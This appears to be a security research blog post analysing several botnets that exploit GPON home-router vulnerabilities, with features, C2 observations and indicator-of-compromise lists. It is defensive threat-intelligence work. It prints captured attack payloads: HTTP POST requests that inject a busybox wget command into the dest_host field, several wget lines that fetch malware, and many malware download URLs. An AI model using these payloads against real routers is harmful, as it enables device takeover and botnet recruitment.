GPON Exploit in the Wild (III) – Mettle, Hajime, Mirai, Omni, Imgay | xxxGPON Exploit in the Wild (III) – Mettle, Hajime, Mirai, Omni, Imgay – xxx
菜单






GPON Exploit in the Wild (III) – Mettle, Hajime, Mirai, Omni, Imgay

五月 21, 2018 - 360netlab

This article was co-authored by Hui Wang, LIU Ya, Rootkiter and Yegenshen.

In our previous articles I and II of this series, we mentioned that since the expose of the GPON vulnerabilities (CVE-2018-10561, CVE-2018-10562), there have been at least five botnet families actively exploiting this vulnerability to build their bot army within the first 10 days. Those includes mettle, muhstik, mirai, hajime, satori, and so on. They rushed up and competed for territory, providing IoT botnet researchers with an excellent opportunity for close observation.

In our observation, one interesting point is that the exploit code of each botnet can only affect a small part (estimated approximately 2%) of GPON home routers. As a result, the number of devices that were eventually implanted was greatly reduced, and the majority of GPON home router users survived. However, administrators still need to be vigilant, because the malicious code are under active development, and code revisions will only take a short time.

While keeping our observations, we also have taken action to curb the proliferation of muhstik botnets together with the security community. But muhstik malicious campaign are not willing to give up easily. They tried to come back again and again. Our readers may stay tuned.

In this article, we will introduce other botnets in turn:

Mettle Botnet

As we mentioned before, Mettle botnet’s C2 became offline soon after this round attack. The features of this malicious campaign include:

Besides, after exploitation, the attacker will also modify iptables rule on GPON routers to block TCP port 80 and 443 traffic, which is probably trying to prevent intruding by other malwares. Part of iptables rule are as follows:

-A ACL -p tcp -m tcp --dport 80 -j DROP -A ACL -p tcp -m tcp --dport 23 -j DROP -A ACL -p tcp -m tcp --dport 22 -j DROP -A ACL -p tcp -m tcp --dport 21 -j DROP  -A ACL -p tcp -m tcp --dport 443 -j DROP

We haven’t observed any mettle attack payload yet, however, we do notice that its IP addresses were related to other malware in the past.

Hajime Botnet

The features of this round of Hajime update are:

The following figure shows the GPON exploit code in Hajime sample:

The updated atk.mpseb module can launch scanning on port 23, 80 and 8080 simultaneously.

Mirai Variant 1

Its features include:

The attack payload are as follow:

POST /GponForm/diag_Form?images/ HTTP/1.1   User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2   Host: {target}   Accept: */*   Content-Length: 138   Content-Type: application/x-www-form-urlencoded  XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://46.243.189.102/`;busybox+wget+hxxp://46.243.189.102/&ipv=0

We have been monitoring the C2 server of this Mirai variant for quite a long time. The C2 is really active and have sent quite a number of DDoS attack commands. The first time we saw its DDoS commmand was 2018-01-26 13:10:20. The following figure shows the daily number of its attack commands:

For the victims, we only list parts of popular attacked sites below, including: check-host.net, incapsula.com, moz.com, opskins.com, pastebin.com, roblox.com, seznam.cz, store.playstation.com, www.kinguin.net, etc:

Mirai Variant 2 – Omni

Researchers at newskysecurity have already named the Mirai variant Omni, and their description is consistent with our observations

In this round of attack, the Omni botnet uses following attack payload:

POST /GponForm/diag_Form?images/ HTTP/1.1   Host: {target}   Content-Length: 120   User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/4.4.127-mainline-rev1   Connection: keep-alive   Accept: */*   Accept-Encoding: gzip, deflate  XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://185.246.152.173/omni+-O+/tmp/talk`&ipv=0

This botnet’s features include:

This C2 has historically spread multiple Mirai variants, including Owari, XOwari, S-owari, Sora, and Omni. The malware samples came from this C2 supports multiple CPU architectures, in addition to the usually supported CPU like Arm, Mips, Mpsl, Mipsl, X86, and Sparc, they also supports the ARC CPU which once widely concerned by the community.

Another interesting point is the two messages that the botnet author released to the outside world. One message is saved on the c2 server (hxxp://185.246.152.173/meme). Currently this URL is not accessible. We have a history screenshot as follows. The main body of the page is a photo from the movie “The Matrix” combined with a head of famous security blogger Brian Krebs:

The text of the page is as follows. It contains an email address：krebsonsecurity@gamil.com. Note that this is not Brian Krebs’s email address.

Hey you, stop right there!   Want your router fixed? No problem! Send an email to krebsonsecurity@gamil.com and we will have it fixed asap!   ~ scarface is your daddy ~

Another piece of message is saved in the sample, containing a twitter account @1337Wicked : 

md5hash: 5A8F7B3E3A981BBDD42AEE4DA6EEAAB8   message: Botnet officially ran by Ankit Anubhav and hosted on newskysecurity.com [If your reversing this follow @1337Wicked on twitter

Imgay Botnet

Imgay is another botnet，the malicious code URL it spreads is as follows:

hxxp://149.28.96.126/imgay

The malicious code accesses the following addresses, but then the it ends and no more activity is seen.

wget hxxp://149.28.96.126/loaded/killy > /dev/null 2>&1   wget hxxp://149.28.96.126/pid_max/%s > /dev/null 2>&1   wget hxxp://149.28.96.126/pid_max/default > /dev/null 2>&1   wget hxxp://149.28.96.126/killed/%i > /dev/null 2>&1

Contact Us

We can be reached at twitter or at WeChat subscription account 360Netlab.

Ioc

Mettle

118.70.80.143 Vietnam/VN Hanoi "AS18403 The Corporation for Financing & Promoting Technology" scanner IP   210.245.26.180:4441 Vietnam/VN Ho Chi Minh City "AS18403 The Corporation for Financing & Promoting Technology" c2   8e2c6a92a024f8b8bb3c086b86fa50f9  malware hash

Hajime

atk.mipseb.1525838286   file name   8CCA32FB1FE4826007B087B4AEE20941  hash original   ED1306E24196533553571D5433312A2D  hash before unpack   E06E1E7993EA310CE0FBA9DD76CDF377  hash after unpack

Mira variant #1

46.243.189.60 Netherlands/NL "AS205406 Hostio Solutions B.V." scanner IP   46.243.189.102:127 Netherlands/NL "AS205406 Hostio Solutions B.V." C2 ip   c6dc9f7cf09a267fefe53c5c481e7ea0   malware hash

Omni

185.246.152.173:1000 Netherlands/NL "AS56630 Melbikomas UAB" C2   51.15.106.135 France/FR    "AS12876 Online S.a.s."   scanner IP   hxxp://185.246.152.173/omni malware download URL

Omni malware download URLs in all the past

hxxp://185.246.152.173:80/bins/spc.omni   hxxp://185.246.152.173:80/bins/sora.spc   hxxp://185.246.152.173:80/bins/sora.sh4   hxxp://185.246.152.173:80/bins/sora.arm6   hxxp://185.246.152.173:80/bins/sora.arm5   hxxp://185.246.152.173:80/bins/s-owari.spc   hxxp://185.246.152.173:80/bins/s-owari.mpsl   hxxp://185.246.152.173:80/bins/s-owari.m68k   hxxp://185.246.152.173:80/bins/s-owari.arm   hxxp://185.246.152.173:80/bins/s-owari.arm7   hxxp://185.246.152.173:80/bins/s-owari.arc   hxxp://185.246.152.173:80/bins/owari.x86   hxxp://185.246.152.173:80/bins/owari.spc   hxxp://185.246.152.173:80/bins/owari.mpsl   hxxp://185.246.152.173:80/bins/owari.mips   hxxp://185.246.152.173:80/bins/owari.i586   hxxp://185.246.152.173:80/bins/owari.arm   hxxp://185.246.152.173:80/bins/owari.arm7   hxxp://185.246.152.173:80/bins/owari.arm5   hxxp://185.246.152.173:80/bins/owari.arm4   hxxp://185.246.152.173:80/bins/mpsl.omni   hxxp://185.246.152.173:80/bins/mips.owari   hxxp://185.246.152.173:80/bins/mips.omni   hxxp://185.246.152.173:80/bins/arm7.omni   hxxp://185.246.152.173:80/bins/arm6.omni   hxxp://185.246.152.173:80/bins/arc.omni   hxxp://185.246.152.173:80/bins/Owari.x86   hxxp://185.246.152.173:80/bins/Owari.spc   hxxp://185.246.152.173:80/bins/Owari.sh4   hxxp://185.246.152.173:80/bins/Owari.mpsl   hxxp://185.246.152.173:80/bins/Owari.mips1   hxxp://185.246.152.173:80/bins/Owari.m68k   hxxp://185.246.152.173:80/bins/Owari.arm7   hxxp://185.246.152.173:80/bins/Owari.arm6   hxxp://185.246.152.173/xOwari.sh   hxxp://185.246.152.173/bins/x86.omni   hxxp://185.246.152.173/bins/scan.x86   hxxp://185.246.152.173/bins/s-owari.ppc   hxxp://185.246.152.173/bins/s-owari.mpsl   hxxp://185.246.152.173/bins/s-owari.arm   hxxp://185.246.152.173/bins/s-owari.arm7   hxxp://185.246.152.173/bins/owari.spc   hxxp://185.246.152.173/bins/owari.sh4   hxxp://185.246.152.173/bins/owari.mips   hxxp://185.246.152.173/bins/owari.m68k   hxxp://185.246.152.173/bins/owari.arm   hxxp://185.246.152.173/bins/owari.arm7   hxxp://185.246.152.173/bins/nocpu.x86   hxxp://185.246.152.173/bins/nocpu.mips   hxxp://185.246.152.173/41ai.sh







Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51